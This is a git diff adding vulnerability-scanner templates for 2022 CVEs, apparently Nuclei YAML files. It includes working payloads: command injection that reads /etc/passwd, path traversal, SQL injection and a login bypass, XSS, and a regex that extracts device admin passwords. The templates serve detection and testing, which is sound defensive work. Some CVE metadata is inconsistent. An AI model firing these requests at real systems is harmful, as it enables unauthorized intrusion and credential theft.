Remote Code Execution + author: DhiyaneshDK + severity: critical + description: | + Roxy-WI versions before 6.1.1.0 are vulnerable to a remote code execution vulnerability. System commands can be run remotely via the subprocess_execute function without processing the inputs received from the user in the /app/options.py file. Attackers need not be authenticated to exploit this vulnerability. + reference: + - http://packetstormsecurity.com/files/167805/Roxy-WI-Remote-Command-Execution.html + - https://nvd.nist.gov/vuln/detail/CVE-2022-31137 + - https://www.cve.org/CVERecord?id=CVE-2022-31137 + - https://github.com/hap-wi/roxy-wi/security/advisories/GHSA-mh86-878h-43c9 + remediation: Users are advised to upgrade to latest version. + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2022-31126 + cwe-id: CWE-74 + metadata: + shodan-query: http.html:"Roxy-WI" + verified: "true" + tags: cve,cve2022,rce,unauth,roxy,packetstorm + +requests: + - raw: + - | + POST /app/options.py HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded; charset=UTF-8 + X-Requested-With: XMLHttpRequest + Origin: {{BaseURL}} + Referer: {{BaseURL}}/app/login.py + + alert_consumer=1&serv=127.0.0.1&ipbackend=";cat+/etc/passwd+##&backend_server=127.0.0.1 + + matchers-condition: and + matchers: + - type: regex + part: body + regex: + - "root:.*:0:0:" + + - type: status + status: + - 200 diff --git a/cves/2022/CVE-2022-31268.yaml b/cves/2022/CVE-2022-31268.yaml new file mode 100644 index 0000000000..b8148bb605 --- /dev/null +++ b/cves/2022/CVE-2022-31268.yaml @@ -0,0 +1,48 @@ +id: CVE-2022-31268 + +info: + name: Gitblit 1.9.3 - Local File Inclusion + author: 0x_Akoko + severity: high + description: | + Gitblit 1.9.3 is vulnerable to local file inclusion via /resources//../ (e.g., followed by a WEB-INF or META-INF pathname). + reference: + - https://github.com/metaStor/Vuls/blob/main/gitblit/gitblit%20V1.9.3%20path%20traversal/gitblit%20V1.9.3%20path%20traversal.md + - https://vuldb.com/?id.200500 + - https://nvd.nist.gov/vuln/detail/CVE-2022-31268 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2022-31268 + cwe-id: CWE-22 + metadata: + shodan-query: http.html:"Gitblit" + verified: "true" + tags: cve,cve2022,lfi,gitblit + +requests: + - method: GET + path: + - "{{BaseURL}}/resources//../WEB-INF/web.xml" + + matchers-condition: and + matchers: + + - type: word + part: body + words: + - "</web-app>" + - "java.sun.com" + - "gitblit.properties" + condition: and + + - type: word + part: header + words: + - "application/xml" + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/07/15 diff --git a/cves/2022/CVE-2022-31269.yaml b/cves/2022/CVE-2022-31269.yaml new file mode 100644 index 0000000000..625a774083 --- /dev/null +++ b/cves/2022/CVE-2022-31269.yaml @@ -0,0 +1,49 @@ +id: CVE-2022-31269 + +info: + name: eMerge E3-Series - Information Disclosure + author: For3stCo1d + severity: high + description: | + Admin credentials are stored in clear text at the endpoint /test.txt (This occurs in situations where the default credentials admin:admin have beenchanged.) Allows an unauthenticated attacker to obtain adminicredentials, access the admin dashboard of Linear eMerge E3-Series devices, control entire building doors, cameras, elevator, etc... and access information about employees who can access the building and take control of the entire building. + reference: + - https://packetstormsecurity.com/files/167990/Nortek-Linear-eMerge-E3-Series-Credential-Disclosure.html + - https://www.nortekcontrol.com/access-control/ + - https://nvd.nist.gov/vuln/detail/CVE-2022-31269 + - https://eg.linkedin.com/in/omar-1-hashem + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N + cvss-score: 8.2 + cve-id: CVE-2022-31269 + cwe-id: CWE-798 + metadata: + shodan-query: http.title:"Linear eMerge" + verified: "true" + tags: cve2022,emerge,exposure,packetstorm,cve + +requests: + - method: GET + path: + - "{{BaseURL}}/test.txt" + + matchers-condition: and + matchers: + - type: word + words: + - "ID=" + - "Password=" + condition: and + + - type: word + part: header + words: + - text/plain + + - type: status + status: + - 200 + + extractors: + - type: regex + regex: + - Password='(.+?)' diff --git a/cves/2022/CVE-2022-31373.yaml b/cves/2022/CVE-2022-31373.yaml new file mode 100644 index 0000000000..b2ad77837e --- /dev/null +++ b/cves/2022/CVE-2022-31373.yaml @@ -0,0 +1,41 @@ +id: CVE-2022-31373 + +info: + name: SolarView Compact 6.00 - Cross-Site Scripting + author: ritikchaddha + severity: medium + description: | + SolarView Compact v6.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the component Solar_AiConf.php. + reference: + - https://github.com/badboycxcc/SolarView_Compact_6.0_xss + - https://nvd.nist.gov/vuln/detail/CVE-2022-31373 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2022-31373 + cwe-id: CWE-79 + metadata: + shodan-query: http.html:"SolarView Compact" + verified: "true" + tags: cve,cve2022,xss,solarview + +requests: + - method: GET + path: + - '{{BaseURL}}/Solar_AiConf.php/%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' + + matchers-condition: and + matchers: + - type: word + part: body + words: + - '/Solar_AiConf.php/"><script>alert(document.domain)</script>' + + - type: word + part: header + words: + - "text/html" + + - type: status + status: + - 200 diff --git a/cves/2022/CVE-2022-31474.yaml b/cves/2022/CVE-2022-31474.yaml new file mode 100644 index 0000000000..d86bf19216 --- /dev/null +++ b/cves/2022/CVE-2022-31474.yaml @@ -0,0 +1,30 @@ +id: CVE-2022-31474 + +info: + name: BackupBuddy Arbitrary File Read + author: aringo + severity: high + description: BackupBuddy versions 8.5.8.0 through 8.7.4.1 are vulnerable to arbitrary file read + reference: + - https://www.wordfence.com/blog/2022/09/psa-nearly-5-million-attacks-blocked-targeting-0-day-in-backupbuddy-plugin/ + - https://ithemes.com/blog/wordpress-vulnerability-report-special-edition-september-6-2022-backupbuddy + - https://ithemes.com/backupbuddy/ + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-31474 + remediation: Developers should immediately upgrade to at least version 8.7.5 or higher + tags: cve,cve2022,wordpress,wp-plugin,wp,lfi,backupbuddy + +requests: + - method: GET + path: + - "{{BaseURL}}/wp-admin/admin-post.php?page=pb_backupbuddy_destinations&local-destination-id=/etc/passwd&local-download=/etc/passwd" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0:" + + - type: status + status: + - 200 diff --git a/cves/2022/CVE-2022-31656.yaml b/cves/2022/CVE-2022-31656.yaml new file mode 100644 index 0000000000..aa0c7698f2 --- /dev/null +++ b/cves/2022/CVE-2022-31656.yaml @@ -0,0 +1,45 @@ +id: CVE-2022-31656 + +info: + name: VMware - Authentication Bypass + author: DhiyaneshDk + severity: critical + description: | + VMware Workspace ONE Access, Identity Manager and vRealize Automation contain an authentication bypass vulnerability affecting local domain users. A malicious actor with network access to the UI may be able to obtain administrative access without the need to authenticate. + reference: + - https://petrusviet.medium.com/dancing-on-the-architecture-of-vmware-workspace-one-access-eng-ad592ae1b6dd + - https://www.vmware.com/security/advisories/VMSA-2022-0021.html + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-31656 + - https://nvd.nist.gov/vuln/detail/CVE-2022-31656 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2022-31656 + cwe-id: CWE-287 + metadata: + shodan-query: http.favicon.hash:-1250474341 + verified: "true" + tags: cve,cve2022,vmware,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/SAAS/t/_/;/WEB-INF/web.xml" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "<web-app" + - "<servlet-name>" + condition: and + + - type: word + part: header + words: + - "application/xml" + + - type: status + status: + - 200 diff --git a/cves/2022/CVE-2022-31793.yaml b/cves/2022/CVE-2022-31793.yaml new file mode 100644 index 0000000000..341352b3d0 --- /dev/null +++ b/cves/2022/CVE-2022-31793.yaml @@ -0,0 +1,38 @@ +id: CVE-2022-31793 + +info: + name: muhttpd <= 1.1.5 - Path traversal + author: scent2d + severity: high + description: | + A Path traversal vulnerability exists in versions muhttpd 1.1.5 and earlier. The vulnerability is directly requestable to files within the file system. + reference: + - https://derekabdine.com/blog/2022-arris-advisory.html + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-31793 + - https://nvd.nist.gov/vuln/detail/CVE-2022-31793 + - https://derekabdine.com/blog/2022-arris-advisory + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2022-31793 + cwe-id: CWE-22 + metadata: + verified: "true" + tags: cve,cve2022,network,muhttpd,lfi,unauth + +network: + - host: + - "{{Hostname}}" + + inputs: + - data: "47455420612F6574632F706173737764" + type: hex + - data: "\n\n" + + read-size: 128 + matchers: + - type: word + part: body + encoding: hex + words: + - "726f6f743a" diff --git a/cves/2022/CVE-2022-31798.yaml b/cves/2022/CVE-2022-31798.yaml new file mode 100644 index 0000000000..1556c42fa3 --- /dev/null +++ b/cves/2022/CVE-2022-31798.yaml @@ -0,0 +1,42 @@ +id: CVE-2022-31798 + +info: + name: Nortek Linear eMerge E3-Series - Cross-Site Scripting + author: ritikchaddha + severity: medium + description: | + There is local session fixation that chained with reflected cross-site scripting leads to account take over of admin or less privileged users. + reference: + - https://packetstormsecurity.com/files/167992/ + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-31798 + - http://packetstormsecurity.com/files/167992/Nortek-Linear-eMerge-E3-Series-Account-Takeover.html + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2022-31798 + cwe-id: CWE-79 + metadata: + shodan-query: http.title:"eMerge" + verified: "true" + tags: cve2022,emerge,nortek,xss,packetstorm,cve + +requests: + - method: GET + path: + - '{{BaseURL}}/card_scan.php?No=0000&ReaderNo=0000&CardFormatNo=%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E' + + matchers-condition: and + matchers: + - type: word + part: body + words: + - ',"CardFormatNo":"<img src=x onerror=alert(document.domain)>"}' + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 diff --git a/cves/2022/CVE-2022-31845.yaml b/cves/2022/CVE-2022-31845.yaml new file mode 100644 index 0000000000..6977d32158 --- /dev/null +++ b/cves/2022/CVE-2022-31845.yaml @@ -0,0 +1,41 @@ +id: CVE-2022-31845 + +info: + name: WAVLINK WN535 G3 - Information Disclosure + author: arafatansari + severity: high + description: | + A vulnerability in live_check.shtml of WAVLINK WN535 G3 M35G3R.V5030.180927 allows attackers to obtain sensitive router information via execution of the exec cmd function. + reference: + - https://github.com/pghuanghui/CVE_Request/blob/main/WAVLINK%20WN535%20G3__check_live.md + - https://nvd.nist.gov/vuln/detail/CVE-2022-31845 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-30489 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2022-31845 + cwe-id: CWE-668 + metadata: + shodan-query: http.html:"Wavlink" + verified: "true" + tags: cve,cve2022,wavlink,exposure + +requests: + - raw: + - | + @timeout: 10s + GET /live_check.shtml HTTP/1.1 + Host: {{Hostname}} + + matchers-condition: and + matchers: + - type: word + words: + - 'Model=' + - 'FW_Version=' + - 'LanIP=' + condition: and + + - type: status + status: + - 200 diff --git a/cves/2022/CVE-2022-31846.yaml b/cves/2022/CVE-2022-31846.yaml new file mode 100644 index 0000000000..1d63b340b6 --- /dev/null +++ b/cves/2022/CVE-2022-31846.yaml @@ -0,0 +1,39 @@ +id: CVE-2022-31846 + +info: + name: WAVLINK WN535 G3 - Information Disclosure + author: arafatansari + severity: high + description: | + A vulnerability is in the 'live_mfg.shtml' page of the WAVLINK WN535 G3,Firmware package version M35G3R.V5030.180927 + reference: + - https://github.com/pghuanghui/CVE_Request/blob/main/WAVLINK%20WN535%20G3__live_mfg.md + - https://nvd.nist.gov/vuln/detail/CVE-2022-31846 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-30489 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2022-31846 + cwe-id: CWE-668 + metadata: + shodan-query: http.html:"Wavlink" + verified: "true" + tags: cve,cve2022,wavlink,exposure + +requests: + - method: GET + path: + - "{{BaseURL}}/live_mfg.shtml" + + matchers-condition: and + matchers: + - type: word + words: + - 'Model=' + - 'DefaultIP=' + - 'LOGO1=' + condition: and + + - type: status + status: + - 200 diff --git a/cves/2022/CVE-2022-31847.yaml b/cves/2022/CVE-2022-31847.yaml new file mode 100644 index 0000000000..c7fc03b564 --- /dev/null +++ b/cves/2022/CVE-2022-31847.yaml @@ -0,0 +1,39 @@ +id: CVE-2022-31847 + +info: + name: WAVLINK WN579 X3 M79X3.V5030.180719 - Information Disclosure + author: arafatansari + severity: high + description: | + A vulnerability in /cgi-bin/ExportAllSettings.sh of WAVLINK WN579 X3 M79X3.V5030.180719 allows attackers to obtain sensitive router information via a crafted POST request. + reference: + - https://github.com/pghuanghui/CVE_Request/blob/main/WAVLINK%20WN579%20X3__Sensitive%20information%20leakage.md + - https://nvd.nist.gov/vuln/detail/CVE-2022-31847 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2022-31847 + cwe-id: CWE-668 + metadata: + shodan-query: http.html:"Wavlink" + verified: "true" + tags: cve,cve2022,wavlink,exposure + +requests: + - method: GET + path: + - "{{BaseURL}}/cgi-bin/ExportAllSettings.sh" + + matchers-condition: and + matchers: + - type: word + words: + - 'Login=' + - 'Password=' + - 'Model=' + - 'AuthMode=' + condition: and + + - type: status + status: + - 200 diff --git a/cves/2022/CVE-2022-32007.yaml b/cves/2022/CVE-2022-32007.yaml new file mode 100644 index 0000000000..4f303c8747 --- /dev/null +++ b/cves/2022/CVE-2022-32007.yaml @@ -0,0 +1,42 @@ +id: CVE-2022-32007 + +info: + name: Complete Online Job Search System v1.0 - SQL Injection + author: arafatansari + severity: high + description: | + Complete Online Job Search System v1.0 is vulnerable to SQL Injection via /eris/admin/company/index.php?view=edit&id=. + reference: + - https://github.com/k0xx11/bug_report/blob/main/vendors/campcodes.com/online-job-search-system/SQLi-2.md + - https://nvd.nist.gov/vuln/detail/CVE-2022-32007 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H + cvss-score: 7.2 + cve-id: CVE-2022-32007 + cwe-id: CWE-89 + metadata: + verified: "true" + tags: cve,cve2022,sqli,eris,authenticated + +variables: + num: "999999999" + +requests: + - raw: + - | + POST /admin/login.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + user_email={{username}}&user_pass={{password}}&btnLogin= + + - | + GET /admin/company/index.php?view=edit&id=-3%27%20union%20select%201,md5({{num}}),3,4,5,6--+ HTTP/1.1 + Host: {{Hostname}} + + cookie-reuse: true + matchers: + - type: word + part: body + words: + - '{{md5({{num}})}}' diff --git a/cves/2022/CVE-2022-32015.yaml b/cves/2022/CVE-2022-32015.yaml new file mode 100644 index 0000000000..197a457564 --- /dev/null +++ b/cves/2022/CVE-2022-32015.yaml @@ -0,0 +1,33 @@ +id: CVE-2022-32015 + +info: + name: Complete Online Job Search System v1.0 - SQL Injection + author: arafatansari + severity: high + description: | + Complete Online Job Search System v1.0 is vulnerable to SQL Injection via /eris/index.php?q=category&search=. + reference: + - https://github.com/k0xx11/bug_report/blob/main/vendors/campcodes.com/online-job-search-system/SQLi-8.md + - https://nvd.nist.gov/vuln/detail/CVE-2022-32015 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H + cvss-score: 7.2 + cve-id: CVE-2022-32015 + cwe-id: CWE-89 + metadata: + verified: "true" + tags: cve,cve2022,sqli,jobsearch + +variables: + num: "999999999" + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?q=category&search=Banking%27%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,md5({{num}}),15,16,17,18,19--+" + + matchers: + - type: word + part: body + words: + - '{{md5({{num}})}}' diff --git a/cves/2022/CVE-2022-32018.yaml b/cves/2022/CVE-2022-32018.yaml new file mode 100644 index 0000000000..b06732f3e4 --- /dev/null +++ b/cves/2022/CVE-2022-32018.yaml @@ -0,0 +1,33 @@ +id: CVE-2022-32018 + +info: + name: Complete Online Job Search System v1.0 - SQL Injection + author: arafatansari + severity: high + description: | + Complete Online Job Search System v1.0 is vulnerable to SQL Injection via /eris/index.php?q=hiring&search=. + reference: + - https://github.com/k0xx11/bug_report/blob/main/vendors/campcodes.com/online-job-search-system/SQLi-12.md + - https://nvd.nist.gov/vuln/detail/CVE-2022-32018 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H + cvss-score: 7.2 + cve-id: CVE-2022-32018 + cwe-id: CWE-89 + metadata: + verified: "true" + tags: cve,cve2022,sqli + +variables: + num: "999999999" + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?q=hiring&search=URC%27%20union%20select%201,2,3,4,5,6,7,8,9,md5({{num}}),11,12,13,14,15,16,17,18,19--+" + + matchers: + - type: word + part: body + words: + - '{{md5({{num}})}}' diff --git a/cves/2022/CVE-2022-32022.yaml b/cves/2022/CVE-2022-32022.yaml new file mode 100644 index 0000000000..cbc60fc8d8 --- /dev/null +++ b/cves/2022/CVE-2022-32022.yaml @@ -0,0 +1,49 @@ +id: CVE-2022-32022 + +info: + name: Car Rental Management System v1.0 - SQL Injection + author: arafatansari + severity: high + description: | + Car Rental Management System v1.0 is vulnerable to SQL Injection via /admin/ajax.php?action=login. + reference: + - https://github.com/k0xx11/bug_report/blob/main/vendors/campcodes.com/car-rental-management-system/SQLi-1.md + - https://nvd.nist.gov/vuln/detail/CVE-2022-32022 + - https://github.com/k0xx11/bug_report/blob/main/vendors/campcodes.com/car-rental-management-system/SQLi-1.md. + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H + cvss-score: 7.2 + cve-id: CVE-2022-32022 + cwe-id: CWE-89 + metadata: + shodan-query: http.html:"Car Rental Management System" + verified: "true" + tags: cve,cve2022,carrental,cms,sqli,login-bypass + +requests: + - raw: + - | + POST /admin/ajax.php?action=login HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + username=admin'+or+'1'%3D'1'%23&password=admin + + - | + GET /admin/index.php?page=home HTTP/1.1 + Host: {{Hostname}} + + cookie-reuse: true + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'Welcome back Administrator!' + - 'action=logout' + - 'Manage Account' + condition: and + + - type: status + status: + - 200 diff --git a/cves/2022/CVE-2022-32024.yaml b/cves/2022/CVE-2022-32024.yaml new file mode 100644 index 0000000000..7aea1ed902 --- /dev/null +++ b/cves/2022/CVE-2022-32024.yaml @@ -0,0 +1,50 @@ +id: CVE-2022-32024 + +info: + name: Car Rental Management System v1.0 - SQL Injection + author: arafatansari + severity: high + description: | + Car Rental Management System v1.0 is vulnerable to SQL Injection via /booking.php?car_id=. + reference: + - https://github.com/k0xx11/bug_report/blob/main/vendors/campcodes.com/car-rental-management-system/SQLi-4.md + - https://nvd.nist.gov/vuln/detail/CVE-2022-32024 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H + cvss-score: 7.2 + cve-id: CVE-2022-32024 + cwe-id: CWE-89 + metadata: + comment: Login bypass is also possible using the payload- admin'+or+'1'%3D'1' in username. + shodan-query: http.html:"Car Rental Management System" + verified: "true" + tags: cve,cve2022,carrental,cms,sqli,authenticated + +variables: + num: "999999999" + +requests: + - raw: + - | + POST /admin/ajax.php?action=login HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + username={{username}}&password={{password}} + + - | + GET /booking.php?car_id=-1%20union%20select%201,md5({{num}}),3,4,5,6,7,8,9,10--+ HTTP/1.1 + Host: {{Hostname}} + + skip-variables-check: true + cookie-reuse: true + matchers-condition: and + matchers: + - type: word + part: body + words: + - '{{md5({{num}})}}' + + - type: status + status: + - 200 diff --git a/cves/2022/CVE-2022-32025.yaml b/cves/2022/CVE-2022-32025.yaml new file mode 100644 index 0000000000..e99d7f0fe5 --- /dev/null +++ b/cves/2022/CVE-2022-32025.yaml @@ -0,0 +1,52 @@ +id: CVE-2022-32025 + +info: + name: Car Rental Management System v1.0 - SQL Injection + author: arafatansari + severity: high + description: | + Car Rental Management System v1.0 is vulnerable to SQL Injection via /admin/view_car.php?id=. + reference: + - https://github.com/k0xx11/bug_report/blob/main/vendors/campcodes.com/car-rental-management-system/SQLi-6.md + - https://nvd.nist.gov/vuln/detail/CVE-2022-32025 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H + cvss-score: 7.2 + cve-id: CVE-2022-32025 + cwe-id: CWE-89 + metadata: + comment: Login bypass is also possible using the payload - admin'+or+'1'%3D'1' in username. + shodan-query: http.html:"Car Rental Management System" + verified: "true" + tags: cve,cve2022,carrental,cms,sqli,authenticated + +variables: + num: "999999999" + +requests: + - raw: + - | + POST /admin/ajax.php?action=login HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + username={{username}}%23&password={{password}} + + - | + GET /admin/view_car.php?id=-1%20union%20select%201,md5({{num}}),3,4,5,6,7,8,9,10--+ HTTP/1.1 + Host: {{Hostname}} + + skip-variables-check: true + redirects: true + max-redirects: 2 + cookie-reuse: true + matchers-condition: and + matchers: + - type: word + part: body + words: + - '{{md5({{num}})}}' + + - type: status + status: + - 200 diff --git a/cves/2022/CVE-2022-32026.yaml b/cves/2022/CVE-2022-32026.yaml new file mode 100644 index 0000000000..53937fa44c --- /dev/null +++ b/cves/2022/CVE-2022-32026.yaml @@ -0,0 +1,52 @@ +id: CVE-2022-32026 + +info: + name: Car Rental Management System v1.0 - SQL Injection + author: arafatansari + severity: high + description: | + Car Rental Management System v1.0 is vulnerable to SQL Injection via /admin/manage_booking.php?id=. + reference: + - https://github.com/k0xx11/bug_report/blob/main/vendors/campcodes.com/car-rental-management-system/SQLi-8.md + - https://github.com/k0xx11/bug_report/blob/main/vendors/campcodes.com/car-rental-management-system/SQLi-5.md + - https://nvd.nist.gov/vuln/detail/CVE-2022-32028 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H + cvss-score: 7.2 + cve-id: CVE-2022-32028 + cwe-id: CWE-89 + metadata: + verified: true + shodan-query: http.html:"Car Rental Management System" + comment: Login bypass is also possible using the payload- admin'+or+'1'%3D'1' in username. + tags: cve,cve2022,carrental,cms,sqli,authenticated + +variables: + num: "999999999" + +requests: + - raw: + - | + POST /admin/ajax.php?action=login HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + username={{username}}&password={{password}} + - | + GET /admin/manage_booking.php?id=-1%20union%20select%201,2,3,4,5,6,md5({{num}}),8,9,10,11--+ HTTP/1.1 + Host: {{Hostname}} + + skip-variables-check: true + redirects: true + max-redirects: 2 + cookie-reuse: true + matchers-condition: and + matchers: + - type: word + part: body + words: + - '{{md5({{num}})}}' + + - type: status + status: + - 200 diff --git a/cves/2022/CVE-2022-32028.yaml b/cves/2022/CVE-2022-32028.yaml new file mode 100644 index 0000000000..7447956c3b --- /dev/null +++ b/cves/2022/CVE-2022-32028.yaml @@ -0,0 +1,52 @@ +id: CVE-2022-32028 + +info: + name: Car Rental Management System v1.0 - SQL Injection + author: arafatansari + severity: high + description: | + Car Rental Management System v1.0 is vulnerable to SQL Injection via /admin/manage_user.php?id=. + reference: + - https://github.com/k0xx11/bug_report/blob/main/vendors/campcodes.com/car-rental-management-system/SQLi-8.md + - https://nvd.nist.gov/vuln/detail/CVE-2022-32028 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H + cvss-score: 7.2 + cve-id: CVE-2022-32028 + cwe-id: CWE-89 + metadata: + comment: Login bypass is also possible using the payload - admin'+or+'1'%3D'1' in username. + shodan-query: http.html:"Car Rental Management System" + verified: "true" + tags: cve,cve2022,carrental,cms,sqli,authenticated + +variables: + num: "999999999" + +requests: + - raw: + - | + POST /admin/ajax.php?action=login HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + username={{username}}&password={{password}} + + - | + GET /admin/manage_user.php?id=-1%20union%20select%201,md5({{num}}),3,4,5--+ HTTP/1.1 + Host: {{Hostname}} + + skip-variables-check: true + redirects: true + max-redirects: 2 + cookie-reuse: true + matchers-condition: and + matchers: + - type: word + part: body + words: + - '{{md5({{num}})}}' + + - type: status + status: + - 200 diff --git a/cves/2022/CVE-2022-32195.yaml b/cves/2022/CVE-2022-32195.yaml new file mode 100644 index 0000000000..ad8a8817c4 --- /dev/null +++ b/cves/2022/CVE-2022-32195.yaml @@ -0,0 +1,43 @@ +id: CVE-2022-32195 + +info: + name: Open edX - Cross-Site Scripting + author: arafatansari + severity: medium + description: | + Open edX platform before 2022-06-06 allows Reflected Cross-site Scripting via the "next" parameter in the logout URL. + reference: + - https://discuss.openedx.org/t/security-patch-for-logout-page-xss-vulnerability/7408 + - https://nvd.nist.gov/vuln/detail/CVE-2022-32195 + - https://github.com/edx + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2022-32195 + cwe-id: CWE-79 + metadata: + comment: Hover the cursor on the redirect link + shodan-query: http.html:"Open edX" + verified: "true" + tags: cve,cve2022,openedx,xss + +requests: + - method: GET + path: + - '{{BaseURL}}/logout?next=%208%22onmouseover=%22alert(document.domain)' + + matchers-condition: and + matchers: + - type: word + part: body + words: + - '<a href="+8"onmouseover="alert(document.domain)">click here to go to' + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 diff --git a/cves/2022/CVE-2022-32409.yaml b/cves/2022/CVE-2022-32409.yaml new file mode 100644 index 0000000000..45a9d0ff2e --- /dev/null +++ b/cves/2022/CVE-2022-32409.yaml @@ -0,0 +1,38 @@ +id: CVE-2022-32409 + +info: + name: Portal do Software Publico Brasileiro i3geo 7.0.5 - Local File Inclusion + author: pikpikcu + severity: critical + description: Portal do Software Publico Brasileiro i3geo 7.0.5 is vulnerable to local file inclusion in the component codemirror.php, which allows attackers to execute arbitrary PHP code via a crafted HTTP request. + reference: + - https://github.com/wagnerdracha/ProofOfConcept/blob/main/i3geo_proof_of_concept.txt + - https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion + - https://nvd.nist.gov/vuln/detail/CVE-2022-32409 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2022-32409 + cwe-id: CWE-94 + metadata: + shodan-query: http.html:"i3geo" + verified: "true" + tags: cve,cve2022,i3geo,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/i3geo/exemplos/codemirror.php?&pagina=../../../../../../../../../../../../../../../../../etc/passwd" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:[x*]:0:0" + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/07/22 diff --git a/cves/2022/CVE-2022-32444.yaml b/cves/2022/CVE-2022-32444.yaml new file mode 100644 index 0000000000..1460ae469c --- /dev/null +++ b/cves/2022/CVE-2022-32444.yaml @@ -0,0 +1,30 @@ +id: CVE-2022-32444 + +info: + name: u5cms v8.3.5 - Open Redirect + author: 0x_Akoko + severity: medium + description: | + u5cms version 8.3.5 contains a URL redirection vulnerability that can cause a user's browser to be redirected to another site via /loginsave.php. + reference: + - https://github.com/u5cms/u5cms/issues/50 + - https://nvd.nist.gov/vuln/detail/CVE-2022-32444 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2022-32444 + cwe-id: CWE-601 + tags: cve,cve2022,redirect,u5cms,cms + +requests: + - method: GET + path: + - '{{BaseURL}}/loginsave.php?u=http://interact.sh' + + matchers: + - type: regex + part: header + regex: + - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1 + +# Enhanced by cs 05/30/2022 diff --git a/cves/2022/CVE-2022-32770.yaml b/cves/2022/CVE-2022-32770.yaml new file mode 100644 index 0000000000..bee623eabc --- /dev/null +++ b/cves/2022/CVE-2022-32770.yaml @@ -0,0 +1,42 @@ +id: CVE-2022-32770 + +info: + name: WWBN AVideo 11.6 - Cross-Site Scripting + author: arafatansari + severity: medium + description: | + A cross-site scripting (xss) vulnerability exists in the footer alerts functionality of WWBN AVideo 11.6 via "toast" parameter which is inserted into the document with insufficient sanitization. + reference: + - https://talosintelligence.com/vulnerability_reports/TALOS-2022-1538 + - https://nvd.nist.gov/vuln/detail/CVE-2022-32770 + - 